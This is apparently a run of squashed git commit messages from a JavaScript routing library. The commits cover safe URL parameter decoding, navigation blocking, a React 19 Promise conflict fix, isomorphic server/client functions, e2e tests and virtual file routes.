The earlier search/query param decode pattern used `decodeURIComponent(value)` which could throw an error when a value like '100%' was inputted. This change makes it safe for such actions to be attempted and gracefully be handled by the router.
Currently, when using `automaticCodeSplitting`, as part of compiling the "reference" route, we add a component (named `TSRDummyComponent`) to aid with the HMR trickery.
In removing this component from the production bundle, it impacts the visitor by reducing the initial js bundle that wires the route-tree.
* test: e2e test for sentry integration
* fix: use the fixed sentry integration
* feat: make sure we have no console errors
* chore: turn off actually sending events to sentry
this avoids a browser log error, which we check for in the test
* fix: no sub modules
* Revert "fix: no sub modules"
This reverts commit 7186b92209.
* fix: start package, builds, tests
* fix: router manifest dir name
* fix: lockfile
* docs(router): fix docs related to parsed state
* docs(router): clarify usage of history state interface
* ci: apply automated fixes
* mention file where history state should be extended
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* perf(react-router): improve resolve relative route and use intersections for checking path
* perf(react-router): use a few more intersections
* fix: allow string to
* chore: work in progress
* chore: fix tests
* feat: add type primitives
* feat: add more type primitives
* ci: apply automated fixes
* chore: fix build
* refactor: rename to paths
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* chore: clean up changes
* feat: clean up work and address feedback
* feat: add backwards compat
* ci: apply automated fixes
* feat: give history action to subscribers via notify
* fix: provide go index to history subscribers
* docs: updated docs accourding to feedback
* fix: changed valid notify call
* rename to `type`
* remove non existing `pushstate`event
* cleanup
* typesafe API for shouldBlockFn
* feat: added blocking state to resolver and updated examples
* docs: updated useBlocker and navigation-blocking docs
* test: added type tests to blocker and changed type implementation of blocker
* test: added better unit tests for useBlocker hook
* test: added e2e tests for blocker and legacy blocker
* wip: stash files before merge
* fix: unstashed e2e file after merge
* fix lockfile
* docs
* typesafety for `<Block>`
* always return resolver to not break backwards compatibility
* fix: removed zod from navigation blocking example to fix build problem
* chore: update lock file
* finishing touches
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
both router and react 19 were modifying the Promise object in a similar manner which caused a conflict.
See https://github.com/facebook/react/blob/v19.0.0/packages/react-reconciler/src/ReactFiberThenable.js#L162-L228 for how React 19 modifies the Promise object.
Both used an additional `status` property to track the Promise status, but router was using the value "success" and React was using the value "fulfilled" to mark a fulfilled Promise.
This change stores the router specific Promise tracking values using a symbol to avoid any potential collision.
fixes#2953
* Simplify json implementation and fix headers handling
* set up tests for start package
* Fix ssr script test
* Add test for json helper
* name test script consistently
* add name and watch options to test config
* add test script
* don't override existing Content-Type header
* Fix type of serverOnly and add clientOnly function
* Replace invalid invariant call with throwing an error, and support clientOnly
* only build handlers once and reuse
* write type test and make linter happy
* Add snapshot testing for serverOnly and clientOnly
* Write e2e tests
* use a single source of truth for tokens to transform and do dead code elimination after
* tests(react-router): add test for `preload` flag of `beforeLoad` and `loader`
* fix: preloads
* fix: simplify preload resolution
* fix missing !
---------
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
* adding a test to verify that json config files are reflected correctly
* clean up
* direct testing config
* ci: apply automated fixes
---------
Co-authored-by: David Turissini <davidturissini@Melissas-MacBook-Air.local>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* Set up types for createIsomorphicFn
* do dead code analysis for serverOnly and createIsomorphicFn too
* add createIsomorphicFn to relevant regexes
* Add test files
* fix test name
* Add createIsomorphicFn compiler handling
* check for presence/lack of properties
* Add e2e test for isomorphic functions
* test(e2e): add the derivePort utility
* test(e2e): use the utility on start-basic and start-website
* test(e2e): use the utility on the remaining start sandboxes
* test(e2e): use the utility on the react-router sandboxes
* test(e2e): remove unneeded script from `basic-esbuild-file-based`
* ensure that links and scripts are available on route, routes created with createFileRoute work routes created with createRoute did not
* test(react-router): check for head fn update
---------
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
* feat(router-generator): define virtual routes using a `route.ts` file
* refactor(router-generator): passing in the root
* feat(router-cli): passing in the root
* feat(router-plugin): passing in the root
* test(router-generator): check the functionality
* test(e2e): end-to-end test for named exports
* docs(router): update the docs
* docs(router): add file paths to the virtual guide
* docs: forgot to add this path
* Update docs/framework/react/guide/virtual-file-routes.md